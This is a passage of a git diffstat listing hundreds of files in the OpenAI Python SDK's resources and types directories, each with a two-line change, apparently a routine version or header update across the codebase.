src/openai/resources/beta/responses/responses.py | 2 +-
src/openai/resources/beta/threads/__init__.py | 2 +-
src/openai/resources/beta/threads/messages.py | 2 +-
src/openai/resources/beta/threads/runs/__init__.py | 2 +-
src/openai/resources/beta/threads/runs/runs.py | 2 +-
src/openai/resources/beta/threads/runs/steps.py | 2 +-
src/openai/resources/beta/threads/threads.py | 2 +-
src/openai/resources/chat/__init__.py | 2 +-
src/openai/resources/chat/chat.py | 2 +-
src/openai/resources/chat/completions/__init__.py | 2 +-
src/openai/resources/chat/completions/completions.py | 2 +-
src/openai/resources/chat/completions/messages.py | 2 +-
src/openai/resources/completions.py | 2 +-
src/openai/resources/containers/__init__.py | 2 +-
src/openai/resources/containers/containers.py | 2 +-
src/openai/resources/containers/files/__init__.py | 2 +-
src/openai/resources/containers/files/content.py | 2 +-
src/openai/resources/containers/files/files.py | 2 +-
src/openai/resources/content_provenance_checks.py | 2 +-
src/openai/resources/conversations/__init__.py | 2 +-
src/openai/resources/conversations/conversations.py | 2 +-
src/openai/resources/conversations/items.py | 2 +-
src/openai/resources/embeddings.py | 2 +-
src/openai/resources/evals/__init__.py | 2 +-
src/openai/resources/evals/evals.py | 2 +-
src/openai/resources/evals/runs/__init__.py | 2 +-
src/openai/resources/evals/runs/output_items.py | 2 +-
src/openai/resources/evals/runs/runs.py | 2 +-
src/openai/resources/files.py | 2 +-
src/openai/resources/fine_tuning/__init__.py | 2 +-
src/openai/resources/fine_tuning/alpha/__init__.py | 2 +-
src/openai/resources/fine_tuning/alpha/alpha.py | 2 +-
src/openai/resources/fine_tuning/alpha/graders.py | 2 +-
.../resources/fine_tuning/checkpoints/__init__.py | 2 +-
.../resources/fine_tuning/checkpoints/checkpoints.py | 2 +-
.../resources/fine_tuning/checkpoints/permissions.py | 2 +-
src/openai/resources/fine_tuning/fine_tuning.py | 2 +-
src/openai/resources/fine_tuning/jobs/__init__.py | 2 +-
src/openai/resources/fine_tuning/jobs/checkpoints.py | 2 +-
src/openai/resources/fine_tuning/jobs/jobs.py | 2 +-
src/openai/resources/images.py | 2 +-
src/openai/resources/models.py | 2 +-
src/openai/resources/moderations.py | 2 +-
src/openai/resources/realtime/__init__.py | 2 +-
src/openai/resources/realtime/calls.py | 2 +-
src/openai/resources/realtime/client_secrets.py | 2 +-
src/openai/resources/realtime/realtime.py | 2 +-
src/openai/resources/responses/__init__.py | 2 +-
src/openai/resources/responses/input_items.py | 2 +-
src/openai/resources/responses/input_tokens.py | 2 +-
src/openai/resources/responses/responses.py | 2 +-
src/openai/resources/skills/__init__.py | 2 +-
src/openai/resources/skills/content.py | 2 +-
src/openai/resources/skills/skills.py | 2 +-
src/openai/resources/skills/versions/__init__.py | 2 +-
src/openai/resources/skills/versions/content.py | 2 +-
src/openai/resources/skills/versions/versions.py | 2 +-
src/openai/resources/uploads/__init__.py | 2 +-
src/openai/resources/uploads/parts.py | 2 +-
src/openai/resources/uploads/uploads.py | 2 +-
src/openai/resources/vector_stores/__init__.py | 2 +-
src/openai/resources/vector_stores/file_batches.py | 2 +-
src/openai/resources/vector_stores/files.py | 2 +-
src/openai/resources/vector_stores/vector_stores.py | 2 +-
src/openai/resources/videos.py | 2 +-
src/openai/resources/webhooks/__init__.py | 2 +-
src/openai/resources/webhooks/webhooks.py | 2 +-
src/openai/types/__init__.py | 2 +-
src/openai/types/admin/__init__.py | 2 +-
src/openai/types/admin/organization/__init__.py | 2 +-
src/openai/types/admin/organization/admin_api_key.py | 2 +-
.../admin/organization/admin_api_key_create_params.py | 2 +-
.../organization/admin_api_key_create_response.py | 2 +-
.../organization/admin_api_key_delete_response.py | 2 +-
.../admin/organization/admin_api_key_list_params.py | 2 +-
.../types/admin/organization/audit_log_list_params.py | 2 +-
.../admin/organization/audit_log_list_response.py | 2 +-
src/openai/types/admin/organization/certificate.py | 2 +-
.../admin/organization/certificate_activate_params.py | 2 +-
.../organization/certificate_activate_response.py | 2 +-
.../admin/organization/certificate_create_params.py | 2 +-
.../organization/certificate_deactivate_params.py | 2 +-
.../organization/certificate_deactivate_response.py | 2 +-
.../admin/organization/certificate_delete_response.py | 2 +-
.../admin/organization/certificate_list_params.py | 2 +-
.../admin/organization/certificate_list_response.py | 2 +-
.../admin/organization/certificate_retrieve_params.py | 2 +-
.../admin/organization/certificate_update_params.py | 2 +-
.../admin/organization/data_retention_update_params.py | 2 +-
src/openai/types/admin/organization/group.py | 2 +-
.../types/admin/organization/group_create_params.py | 2 +-
.../types/admin/organization/group_delete_response.py | 2 +-
.../types/admin/organization/group_list_params.py | 2 +-
.../types/admin/organization/group_update_params.py | 2 +-
.../types/admin/organization/group_update_response.py | 2 +-
src/openai/types/admin/organization/groups/__init__.py | 2 +-
.../organization/groups/organization_group_user.py | 2 +-
.../admin/organization/groups/role_create_params.py | 2 +-
.../admin/organization/groups/role_create_response.py | 2 +-
.../admin/organization/groups/role_delete_response.py | 2 +-
.../admin/organization/groups/role_list_params.py | 2 +-
.../admin/organization/groups/role_list_response.py | 2 +-
.../organization/groups/role_retrieve_response.py | 2 +-
.../admin/organization/groups/user_create_params.py | 2 +-
.../admin/organization/groups/user_create_response.py | 2 +-
.../admin/organization/groups/user_delete_response.py | 2 +-
.../admin/organization/groups/user_list_params.py | 2 +-
.../organization/groups/user_retrieve_response.py | 2 +-
src/openai/types/admin/organization/invite.py | 2 +-
.../types/admin/organization/invite_create_params.py | 2 +-
.../types/admin/organization/invite_delete_response.py | 2 +-
.../types/admin/organization/invite_list_params.py | 2 +-
.../admin/organization/organization_data_retention.py | 2 +-
.../admin/organization/organization_spend_alert.py | 2 +-
.../organization/organization_spend_alert_deleted.py | 2 +-
.../admin/organization/organization_spend_limit.py | 2 +-
.../organization/organization_spend_limit_deleted.py | 2 +-
.../types/admin/organization/organization_user.py | 2 +-
src/openai/types/admin/organization/project.py | 2 +-
.../types/admin/organization/project_create_params.py | 2 +-
.../types/admin/organization/project_list_params.py | 2 +-
.../types/admin/organization/project_update_params.py | 2 +-
.../types/admin/organization/projects/__init__.py | 2 +-
.../organization/projects/api_key_delete_response.py | 2 +-
.../admin/organization/projects/api_key_list_params.py | 2 +-
.../projects/certificate_activate_params.py | 2 +-
.../projects/certificate_activate_response.py | 2 +-
.../projects/certificate_deactivate_params.py | 2 +-
.../projects/certificate_deactivate_response.py | 2 +-
.../organization/projects/certificate_list_params.py | 2 +-
.../organization/projects/certificate_list_response.py | 2 +-
.../projects/data_retention_update_params.py | 2 +-
.../admin/organization/projects/group_create_params.py | 2 +-
.../organization/projects/group_delete_response.py | 2 +-
.../admin/organization/projects/group_list_params.py | 2 +-
.../organization/projects/group_retrieve_params.py | 2 +-
.../admin/organization/projects/groups/__init__.py | 2 +-
.../organization/projects/groups/role_create_params.py | 2 +-
.../projects/groups/role_create_response.py | 2 +-
.../projects/groups/role_delete_response.py | 2 +-
.../organization/projects/groups/role_list_params.py | 2 +-
.../organization/projects/groups/role_list_response.py | 2 +-
.../projects/groups/role_retrieve_response.py | 2 +-
.../projects/hosted_tool_permission_update_params.py | 2 +-
.../projects/model_permission_update_params.py | 2 +-
.../admin/organization/projects/project_api_key.py | 2 +-
.../organization/projects/project_data_retention.py | 2 +-
.../types/admin/organization/projects/project_group.py | 2 +-
.../projects/project_hosted_tool_permissions.py | 2 +-
.../organization/projects/project_model_permissions.py | 2 +-
.../projects/project_model_permissions_deleted.py | 2 +-
.../admin/organization/projects/project_rate_limit.py | 2 +-
.../organization/projects/project_service_account.py | 2 +-
.../admin/organization/projects/project_spend_alert.py | 2 +-
.../projects/project_spend_alert_deleted.py | 2 +-
.../admin/organization/projects/project_spend_limit.py | 2 +-
.../projects/project_spend_limit_deleted.py | 2 +-
.../types/admin/organization/projects/project_user.py | 2 +-
.../projects/rate_limit_list_rate_limits_params.py | 2 +-
.../projects/rate_limit_update_rate_limit_params.py | 2 +-
.../admin/organization/projects/role_create_params.py | 2 +-
.../organization/projects/role_delete_response.py | 2 +-
.../admin/organization/projects/role_list_params.py | 2 +-
.../admin/organization/projects/role_update_params.py | 2 +-
.../projects/service_account_create_params.py | 2 +-
.../projects/service_account_create_response.py | 2 +-
.../projects/service_account_delete_response.py | 2 +-
.../projects/service_account_list_params.py | 2 +-
.../projects/service_account_update_params.py | 2 +-
.../organization/projects/service_accounts/__init__.py | 2 +-
.../projects/service_accounts/api_key_create_params.py | 2 +-
.../service_accounts/api_key_create_response.py | 2 +-
.../organization/projects/spend_alert_create_params.py | 2 +-
.../organization/projects/spend_alert_list_params.py | 2 +-
.../organization/projects/spend_alert_update_params.py | 2 +-
.../organization/projects/spend_limit_update_params.py | 2 +-
.../admin/organization/projects/user_create_params.py | 2 +-
.../organization/projects/user_delete_response.py | 2 +-
.../admin/organization/projects/user_list_params.py | 2 +-
.../admin/organization/projects/user_update_params.py | 2 +-
.../admin/organization/projects/users/__init__.py | 2 +-
.../organization/projects/users/role_create_params.py | 2 +-
.../projects/users/role_create_response.py | 2 +-
.../projects/users/role_delete_response.py | 2 +-
.../organization/projects/users/role_list_params.py | 2 +-
.../organization/projects/users/role_list_response.py | 2 +-
.../projects/users/role_retrieve_response.py | 2 +-
src/openai/types/admin/organization/role.py | 2 +-
.../types/admin/organization/role_create_params.py | 2 +-
.../types/admin/organization/role_delete_response.py | 2 +-
.../types/admin/organization/role_list_params.py | 2 +-
.../types/admin/organization/role_update_params.py | 2 +-
.../admin/organization/spend_alert_create_params.py | 2 +-
.../admin/organization/spend_alert_list_params.py | 2 +-
.../admin/organization/spend_alert_update_params.py | 2 +-
.../admin/organization/spend_limit_update_params.py | 2 +-
.../admin/organization/usage_audio_speeches_params.py | 2 +-
.../organization/usage_audio_speeches_response.py | 2 +-
.../organization/usage_audio_transcriptions_params.py | 2 +-
.../usage_audio_transcriptions_response.py | 2 +-
.../usage_code_interpreter_sessions_params.py | 2 +-
.../usage_code_interpreter_sessions_response.py | 2 +-
.../admin/organization/usage_completions_params.py | 2 +-
.../admin/organization/usage_completions_response.py | 2 +-
.../types/admin/organization/usage_costs_params.py | 2 +-
.../types/admin/organization/usage_costs_response.py | 2 +-
.../admin/organization/usage_embeddings_params.py | 2 +-
.../admin/organization/usage_embeddings_response.py | 2 +-
.../organization/usage_file_search_calls_params.py | 2 +-
.../organization/usage_file_search_calls_response.py | 2 +-
.../types/admin/organization/usage_images_params.py | 2 +-
.../types/admin/organization/usage_images_response.py | 2 +-
.../admin/organization/usage_moderations_params.py | 2 +-
.../admin/organization/usage_moderations_response.py | 2 +-
.../admin/organization/usage_vector_stores_params.py | 2 +-
.../admin/organization/usage_vector_stores_response.py | 2 +-
.../organization/usage_web_search_calls_params.py | 2 +-
.../organization/usage_web_search_calls_response.py | 2 +-
.../types/admin/organization/user_delete_response.py | 2 +-
.../types/admin/organization/user_list_params.py | 2 +-
.../types/admin/organization/user_update_params.py | 2 +-
src/openai/types/admin/organization/users/__init__.py | 2 +-
.../admin/organization/users/role_create_params.py | 2 +-
.../admin/organization/users/role_create_response.py | 2 +-
.../admin/organization/users/role_delete_response.py | 2 +-
.../types/admin/organization/users/role_list_params.py | 2 +-
.../admin/organization/users/role_list_response.py | 2 +-
.../admin/organization/users/role_retrieve_response.py | 2 +-
src/openai/types/audio/__init__.py | 2 +-
src/openai/types/audio/speech_create_params.py | 2 +-
src/openai/types/audio/speech_model.py | 2 +-
src/openai/types/audio/transcription.py | 2 +-
src/openai/types/audio/transcription_create_params.py | 2 +-
.../types/audio/transcription_create_response.py | 2 +-
src/openai/types/audio/transcription_diarized.py | 2 +-
.../types/audio/transcription_diarized_segment.py | 2 +-
src/openai/types/audio/transcription_include.py | 2 +-
src/openai/types/audio/transcription_language.py | 2 +-
src/openai/types/audio/transcription_segment.py | 2 +-
src/openai/types/audio/transcription_stream_event.py | 2 +-
.../types/audio/transcription_text_delta_event.py | 2 +-
.../types/audio/transcription_text_done_event.py | 2 +-
.../types/audio/transcription_text_segment_event.py | 2 +-
src/openai/types/audio/transcription_verbose.py | 2 +-
src/openai/types/audio/transcription_word.py | 2 +-
src/openai/types/audio/translation.py | 2 +-
src/openai/types/audio/translation_create_params.py | 2 +-
src/openai/types/audio/translation_create_response.py | 2 +-
src/openai/types/audio/translation_verbose.py | 2 +-
src/openai/types/audio_model.py | 2 +-
src/openai/types/audio_response_format.py | 2 +-
src/openai/types/auto_file_chunking_strategy_param.py | 2 +-
src/openai/types/batch.py | 2 +-
src/openai/types/batch_create_params.py | 2 +-
src/openai/types/batch_error.py | 2 +-
src/openai/types/batch_list_params.py | 2 +-
src/openai/types/batch_request_counts.py | 2 +-
src/openai/types/batch_usage.py | 2 +-
src/openai/types/beta/__init__.py | 2 +-
src/openai/types/beta/assistant.py | 2 +-
src/openai/types/beta/assistant_create_params.py | 2 +-
src/openai/types/beta/assistant_deleted.py | 2 +-
src/openai/types/beta/assistant_list_params.py | 2 +-
.../types/beta/assistant_response_format_option.py | 2 +-
.../beta/assistant_response_format_option_param.py | 2 +-
src/openai/types/beta/assistant_stream_event.py | 2 +-
src/openai/types/beta/assistant_tool.py | 2 +-
src/openai/types/beta/assistant_tool_choice.py | 2 +-
.../types/beta/assistant_tool_choice_function.py | 2 +-
.../types/beta/assistant_tool_choice_function_param.py | 2 +-
src/openai/types/beta/assistant_tool_choice_option.py | 2 +-
.../types/beta/assistant_tool_choice_option_param.py | 2 +-
src/openai/types/beta/assistant_tool_choice_param.py | 2 +-
src/openai/types/beta/assistant_tool_param.py | 2 +-
src/openai/types/beta/assistant_update_params.py | 2 +-
src/openai/types/beta/beta_apply_patch_tool.py | 2 +-
src/openai/types/beta/beta_apply_patch_tool_param.py | 2 +-
src/openai/types/beta/beta_compacted_response.py | 2 +-
src/openai/types/beta/beta_computer_action.py | 2 +-
src/openai/types/beta/beta_computer_action_list.py | 2 +-
.../types/beta/beta_computer_action_list_param.py | 2 +-
src/openai/types/beta/beta_computer_action_param.py | 2 +-
src/openai/types/beta/beta_computer_tool.py | 2 +-
src/openai/types/beta/beta_computer_tool_param.py | 2 +-
.../types/beta/beta_computer_use_preview_tool.py | 2 +-
.../types/beta/beta_computer_use_preview_tool_param.py | 2 +-
src/openai/types/beta/beta_container_auto.py | 2 +-
src/openai/types/beta/beta_container_auto_param.py | 2 +-
.../beta/beta_container_network_policy_allowlist.py | 2 +-
.../beta_container_network_policy_allowlist_param.py | 2 +-
.../beta/beta_container_network_policy_disabled.py | 2 +-
.../beta_container_network_policy_disabled_param.py | 2 +-
.../beta_container_network_policy_domain_secret.py | 2 +-
...eta_container_network_policy_domain_secret_param.py | 2 +-
src/openai/types/beta/beta_container_reference.py | 2 +-
.../types/beta/beta_container_reference_param.py | 2 +-
src/openai/types/beta/beta_custom_tool.py | 2 +-
src/openai/types/beta/beta_custom_tool_param.py | 2 +-
src/openai/types/beta/beta_easy_input_message.py | 2 +-
src/openai/types/beta/beta_easy_input_message_param.py | 2 +-
src/openai/types/beta/beta_file_search_tool.py | 2 +-
src/openai/types/beta/beta_file_search_tool_param.py | 2 +-
src/openai/types/beta/beta_function_shell_tool.py | 2 +-
.../types/beta/beta_function_shell_tool_param.py | 2 +-
src/openai/types/beta/beta_function_tool.py | 2 +-
src/openai/types/beta/beta_function_tool_param.py | 2 +-
src/openai/types/beta/beta_inline_skill.py | 2 +-
src/openai/types/beta/beta_inline_skill_param.py | 2 +-
src/openai/types/beta/beta_inline_skill_source.py | 2 +-
.../types/beta/beta_inline_skill_source_param.py | 2 +-
src/openai/types/beta/beta_local_environment.py | 2 +-
src/openai/types/beta/beta_local_environment_param.py | 2 +-
src/openai/types/beta/beta_local_skill.py | 2 +-
src/openai/types/beta/beta_local_skill_param.py | 2 +-
src/openai/types/beta/beta_namespace_tool.py | 2 +-
src/openai/types/beta/beta_namespace_tool_param.py | 2 +-
src/openai/types/beta/beta_response.py | 2 +-
.../types/beta/beta_response_apply_patch_tool_call.py | 2 +-
.../beta/beta_response_apply_patch_tool_call_output.py | 2 +-
.../types/beta/beta_response_audio_delta_event.py | 2 +-
.../types/beta/beta_response_audio_done_event.py | 2 +-
.../beta/beta_response_audio_transcript_delta_event.py | 2 +-
.../beta/beta_response_audio_transcript_done_event.py | 2 +-
..._response_code_interpreter_call_code_delta_event.py | 2 +-
...a_response_code_interpreter_call_code_done_event.py | 2 +-
...a_response_code_interpreter_call_completed_event.py | 2 +-
...response_code_interpreter_call_in_progress_event.py | 2 +-
...esponse_code_interpreter_call_interpreting_event.py | 2 +-
.../beta/beta_response_code_interpreter_tool_call.py | 2 +-
.../beta_response_code_interpreter_tool_call_param.py | 2 +-
src/openai/types/beta/beta_response_compaction_item.py | 2 +-
.../types/beta/beta_response_compaction_item_param.py | 2 +-
.../beta/beta_response_compaction_item_param_param.py | 2 +-
src/openai/types/beta/beta_response_completed_event.py | 2 +-
.../types/beta/beta_response_computer_tool_call.py | 2 +-
.../beta_response_computer_tool_call_output_item.py | 2 +-
...ta_response_computer_tool_call_output_screenshot.py | 2 +-
...ponse_computer_tool_call_output_screenshot_param.py | 2 +-
.../beta/beta_response_computer_tool_call_param.py | 2 +-
.../types/beta/beta_response_container_reference.py | 2 +-
.../beta/beta_response_content_part_added_event.py | 2 +-
.../beta/beta_response_content_part_done_event.py | 2 +-
.../types/beta/beta_response_conversation_param.py | 2 +-
.../beta/beta_response_conversation_param_param.py | 2 +-
src/openai/types/beta/beta_response_created_event.py | 2 +-
.../types/beta/beta_response_custom_tool_call.py | 2 +-
...beta_response_custom_tool_call_input_delta_event.py | 2 +-
.../beta_response_custom_tool_call_input_done_event.py | 2 +-
.../types/beta/beta_response_custom_tool_call_item.py | 2 +-
.../beta/beta_response_custom_tool_call_output.py | 2 +-
.../beta/beta_response_custom_tool_call_output_item.py | 2 +-
.../beta_response_custom_tool_call_output_param.py | 2 +-
.../types/beta/beta_response_custom_tool_call_param.py | 2 +-
src/openai/types/beta/beta_response_error.py | 2 +-
src/openai/types/beta/beta_response_error_event.py | 2 +-
src/openai/types/beta/beta_response_failed_event.py | 2 +-
.../beta_response_file_search_call_completed_event.py | 2 +-
...beta_response_file_search_call_in_progress_event.py | 2 +-
.../beta_response_file_search_call_searching_event.py | 2 +-
.../types/beta/beta_response_file_search_tool_call.py | 2 +-
.../beta/beta_response_file_search_tool_call_param.py | 2 +-
.../types/beta/beta_response_format_text_config.py | 2 +-
.../beta/beta_response_format_text_config_param.py | 2 +-
.../beta_response_format_text_json_schema_config.py | 2 +-
...ta_response_format_text_json_schema_config_param.py | 2 +-
...eta_response_function_call_arguments_delta_event.py | 2 +-
...beta_response_function_call_arguments_done_event.py | 2 +-
.../beta/beta_response_function_call_output_item.py | 2 +-
.../beta_response_function_call_output_item_list.py | 2 +-
...ta_response_function_call_output_item_list_param.py | 2 +-
.../beta_response_function_call_output_item_param.py | 2 +-
...beta_response_function_shell_call_output_content.py | 2 +-
...esponse_function_shell_call_output_content_param.py | 2 +-
.../beta/beta_response_function_shell_tool_call.py | 2 +-
.../beta_response_function_shell_tool_call_output.py | 2 +-
.../types/beta/beta_response_function_tool_call.py | 2 +-
.../beta/beta_response_function_tool_call_item.py | 2 +-
.../beta_response_function_tool_call_output_item.py | 2 +-
.../beta/beta_response_function_tool_call_param.py | 2 +-
.../types/beta/beta_response_function_web_search.py | 2 +-
.../beta/beta_response_function_web_search_param.py | 2 +-
.../beta_response_image_gen_call_completed_event.py | 2 +-
.../beta_response_image_gen_call_generating_event.py | 2 +-
.../beta_response_image_gen_call_in_progress_event.py | 2 +-
...beta_response_image_gen_call_partial_image_event.py | 2 +-
.../types/beta/beta_response_in_progress_event.py | 2 +-
src/openai/types/beta/beta_response_includable.py | 2 +-
.../types/beta/beta_response_incomplete_event.py | 2 +-
.../types/beta/beta_response_inject_created_event.py | 2 +-
src/openai/types/beta/beta_response_inject_event.py | 2 +-
.../types/beta/beta_response_inject_event_param.py | 2 +-
.../types/beta/beta_response_inject_failed_event.py | 2 +-
src/openai/types/beta/beta_response_input.py | 2 +-
src/openai/types/beta/beta_response_input_content.py | 2 +-
.../types/beta/beta_response_input_content_param.py | 2 +-
src/openai/types/beta/beta_response_input_file.py | 2 +-
.../types/beta/beta_response_input_file_content.py | 2 +-
.../beta/beta_response_input_file_content_param.py | 2 +-
.../types/beta/beta_response_input_file_param.py | 2 +-
src/openai/types/beta/beta_response_input_image.py | 2 +-
.../types/beta/beta_response_input_image_content.py | 2 +-
.../beta/beta_response_input_image_content_param.py | 2 +-
.../types/beta/beta_response_input_image_param.py | 2 +-
src/openai/types/beta/beta_response_input_item.py | 2 +-
.../types/beta/beta_response_input_item_param.py | 2 +-
.../beta/beta_response_input_message_content_list.py | 2 +-
.../beta_response_input_message_content_list_param.py | 2 +-
.../types/beta/beta_response_input_message_item.py | 2 +-
src/openai/types/beta/beta_response_input_param.py | 2 +-
src/openai/types/beta/beta_response_input_text.py | 2 +-
.../types/beta/beta_response_input_text_content.py | 2 +-
.../beta/beta_response_input_text_content_param.py | 2 +-
.../types/beta/beta_response_input_text_param.py | 2 +-
src/openai/types/beta/beta_response_item.py | 2 +-
.../types/beta/beta_response_local_environment.py | 2 +-
.../beta_response_mcp_call_arguments_delta_event.py | 2 +-
.../beta_response_mcp_call_arguments_done_event.py | 2 +-
.../beta/beta_response_mcp_call_completed_event.py | 2 +-
.../types/beta/beta_response_mcp_call_failed_event.py | 2 +-
.../beta/beta_response_mcp_call_in_progress_event.py | 2 +-
.../beta_response_mcp_list_tools_completed_event.py | 2 +-
.../beta/beta_response_mcp_list_tools_failed_event.py | 2 +-
.../beta_response_mcp_list_tools_in_progress_event.py | 2 +-
src/openai/types/beta/beta_response_output_item.py | 2 +-
.../beta/beta_response_output_item_added_event.py | 2 +-
.../types/beta/beta_response_output_item_done_event.py | 2 +-
src/openai/types/beta/beta_response_output_message.py | 2 +-
.../types/beta/beta_response_output_message_param.py | 2 +-
src/openai/types/beta/beta_response_output_refusal.py | 2 +-
.../types/beta/beta_response_output_refusal_param.py | 2 +-
src/openai/types/beta/beta_response_output_text.py | 2 +-
...beta_response_output_text_annotation_added_event.py | 2 +-
.../types/beta/beta_response_output_text_param.py | 2 +-
src/openai/types/beta/beta_response_prompt.py | 2 +-
src/openai/types/beta/beta_response_prompt_param.py | 2 +-
src/openai/types/beta/beta_response_queued_event.py | 2 +-
src/openai/types/beta/beta_response_reasoning_item.py | 2 +-
.../types/beta/beta_response_reasoning_item_param.py | 2 +-
...beta_response_reasoning_summary_part_added_event.py | 2 +-
.../beta_response_reasoning_summary_part_done_event.py | 2 +-
...beta_response_reasoning_summary_text_delta_event.py | 2 +-
.../beta_response_reasoning_summary_text_done_event.py | 2 +-
.../beta/beta_response_reasoning_text_delta_event.py | 2 +-
.../beta/beta_response_reasoning_text_done_event.py | 2 +-
.../types/beta/beta_response_refusal_delta_event.py | 2 +-
.../types/beta/beta_response_refusal_done_event.py | 2 +-
src/openai/types/beta/beta_response_status.py | 2 +-
src/openai/types/beta/beta_response_stream_event.py | 2 +-
src/openai/types/beta/beta_response_text_config.py | 2 +-
.../types/beta/beta_response_text_config_param.py | 2 +-
.../types/beta/beta_response_text_delta_event.py | 2 +-
src/openai/types/beta/beta_response_text_done_event.py | 2 +-
.../types/beta/beta_response_tool_search_call.py | 2 +-
.../beta/beta_response_tool_search_output_item.py | 2 +-
.../beta_response_tool_search_output_item_param.py | 2 +-
...eta_response_tool_search_output_item_param_param.py | 2 +-
src/openai/types/beta/beta_response_usage.py | 2 +-
.../beta_response_web_search_call_completed_event.py | 2 +-
.../beta_response_web_search_call_in_progress_event.py | 2 +-
.../beta_response_web_search_call_searching_event.py | 2 +-
src/openai/types/beta/beta_responses_client_event.py | 2 +-
.../types/beta/beta_responses_client_event_param.py | 2 +-
src/openai/types/beta/beta_responses_server_event.py | 2 +-
src/openai/types/beta/beta_skill_reference.py | 2 +-
src/openai/types/beta/beta_skill_reference_param.py | 2 +-
src/openai/types/beta/beta_tool.py | 2 +-
src/openai/types/beta/beta_tool_choice_allowed.py | 2 +-
.../types/beta/beta_tool_choice_allowed_param.py | 2 +-
src/openai/types/beta/beta_tool_choice_apply_patch.py | 2 +-
.../types/beta/beta_tool_choice_apply_patch_param.py | 2 +-
src/openai/types/beta/beta_tool_choice_custom.py | 2 +-
src/openai/types/beta/beta_tool_choice_custom_param.py | 2 +-
src/openai/types/beta/beta_tool_choice_function.py | 2 +-
.../types/beta/beta_tool_choice_function_param.py | 2 +-
src/openai/types/beta/beta_tool_choice_mcp.py | 2 +-
src/openai/types/beta/beta_tool_choice_mcp_param.py | 2 +-
src/openai/types/beta/beta_tool_choice_options.py | 2 +-
src/openai/types/beta/beta_tool_choice_shell.py | 2 +-
src/openai/types/beta/beta_tool_choice_shell_param.py | 2 +-
src/openai/types/beta/beta_tool_choice_types.py | 2 +-
src/openai/types/beta/beta_tool_choice_types_param.py | 2 +-
src/openai/types/beta/beta_tool_param.py | 2 +-
src/openai/types/beta/beta_tool_search_tool.py | 2 +-
src/openai/types/beta/beta_tool_search_tool_param.py | 2 +-
src/openai/types/beta/beta_web_search_preview_tool.py | 2 +-
.../types/beta/beta_web_search_preview_tool_param.py | 2 +-
src/openai/types/beta/beta_web_search_tool.py | 2 +-
src/openai/types/beta/beta_web_search_tool_param.py | 2 +-
src/openai/types/beta/chatkit/__init__.py | 2 +-
src/openai/types/beta/chatkit/chat_session.py | 2 +-
.../chatkit/chat_session_automatic_thread_titling.py | 2 +-
.../beta/chatkit/chat_session_chatkit_configuration.py | 2 +-
.../chat_session_chatkit_configuration_param.py | 2 +-
.../beta/chatkit/chat_session_expires_after_param.py | 2 +-
.../types/beta/chatkit/chat_session_file_upload.py | 2 +-
src/openai/types/beta/chatkit/chat_session_history.py | 2 +-
.../types/beta/chatkit/chat_session_rate_limits.py | 2 +-
.../beta/chatkit/chat_session_rate_limits_param.py | 2 +-
src/openai/types/beta/chatkit/chat_session_status.py | 2 +-
.../types/beta/chatkit/chat_session_workflow_param.py | 2 +-
src/openai/types/beta/chatkit/chatkit_attachment.py | 2 +-
.../types/beta/chatkit/chatkit_response_output_text.py | 2 +-
src/openai/types/beta/chatkit/chatkit_thread.py | 2 +-
.../chatkit/chatkit_thread_assistant_message_item.py | 2 +-
.../types/beta/chatkit/chatkit_thread_item_list.py | 2 +-
.../beta/chatkit/chatkit_thread_user_message_item.py | 2 +-
src/openai/types/beta/chatkit/chatkit_widget_item.py | 2 +-
src/openai/types/beta/chatkit/session_create_params.py | 2 +-
.../types/beta/chatkit/thread_delete_response.py | 2 +-
.../types/beta/chatkit/thread_list_items_params.py | 2 +-
src/openai/types/beta/chatkit/thread_list_params.py | 2 +-
src/openai/types/beta/chatkit_workflow.py | 2 +-
src/openai/types/beta/code_interpreter_tool.py | 2 +-
src/openai/types/beta/code_interpreter_tool_param.py | 2 +-
src/openai/types/beta/file_search_tool.py | 2 +-
src/openai/types/beta/file_search_tool_param.py | 2 +-
src/openai/types/beta/function_tool.py | 2 +-
src/openai/types/beta/function_tool_param.py | 2 +-
src/openai/types/beta/response_compact_params.py | 2 +-
src/openai/types/beta/response_create_params.py | 2 +-
src/openai/types/beta/response_retrieve_params.py | 2 +-
src/openai/types/beta/responses/__init__.py | 2 +-
.../types/beta/responses/beta_response_item_list.py | 2 +-
.../types/beta/responses/input_item_list_params.py | 2 +-
.../types/beta/responses/input_token_count_params.py | 2 +-
.../types/beta/responses/input_token_count_response.py | 2 +-
src/openai/types/beta/thread.py | 2 +-
src/openai/types/beta/thread_create_and_run_params.py | 2 +-
src/openai/types/beta/thread_create_params.py | 2 +-
src/openai/types/beta/thread_deleted.py | 2 +-
src/openai/types/beta/thread_update_params.py | 2 +-
src/openai/types/beta/threads/__init__.py | 2 +-
src/openai/types/beta/threads/annotation.py | 2 +-
src/openai/types/beta/threads/annotation_delta.py | 2 +-
.../types/beta/threads/file_citation_annotation.py | 2 +-
.../beta/threads/file_citation_delta_annotation.py | 2 +-
src/openai/types/beta/threads/file_path_annotation.py | 2 +-
.../types/beta/threads/file_path_delta_annotation.py | 2 +-
src/openai/types/beta/threads/image_file.py | 2 +-
.../types/beta/threads/image_file_content_block.py | 2 +-
.../beta/threads/image_file_content_block_param.py | 2 +-
src/openai/types/beta/threads/image_file_delta.py | 2 +-
.../types/beta/threads/image_file_delta_block.py | 2 +-
src/openai/types/beta/threads/image_file_param.py | 2 +-
src/openai/types/beta/threads/image_url.py | 2 +-
.../types/beta/threads/image_url_content_block.py | 2 +-
.../beta/threads/image_url_content_block_param.py | 2 +-
src/openai/types/beta/threads/image_url_delta.py | 2 +-
src/openai/types/beta/threads/image_url_delta_block.py | 2 +-
src/openai/types/beta/threads/image_url_param.py | 2 +-
src/openai/types/beta/threads/message.py | 2 +-
src/openai/types/beta/threads/message_content.py | 2 +-
src/openai/types/beta/threads/message_content_delta.py | 2 +-
.../types/beta/threads/message_content_part_param.py | 2 +-
src/openai/types/beta/threads/message_create_params.py | 2 +-
src/openai/types/beta/threads/message_deleted.py | 2 +-
src/openai/types/beta/threads/message_delta.py | 2 +-
src/openai/types/beta/threads/message_delta_event.py | 2 +-
src/openai/types/beta/threads/message_list_params.py | 2 +-
src/openai/types/beta/threads/message_update_params.py | 2 +-
src/openai/types/beta/threads/refusal_content_block.py | 2 +-
src/openai/types/beta/threads/refusal_delta_block.py | 2 +-
.../beta/threads/required_action_function_tool_call.py | 2 +-
src/openai/types/beta/threads/run.py | 2 +-
src/openai/types/beta/threads/run_create_params.py | 2 +-
src/openai/types/beta/threads/run_list_params.py | 2 +-
src/openai/types/beta/threads/run_status.py | 2 +-
.../beta/threads/run_submit_tool_outputs_params.py | 2 +-
src/openai/types/beta/threads/run_update_params.py | 2 +-
src/openai/types/beta/threads/runs/__init__.py | 2 +-
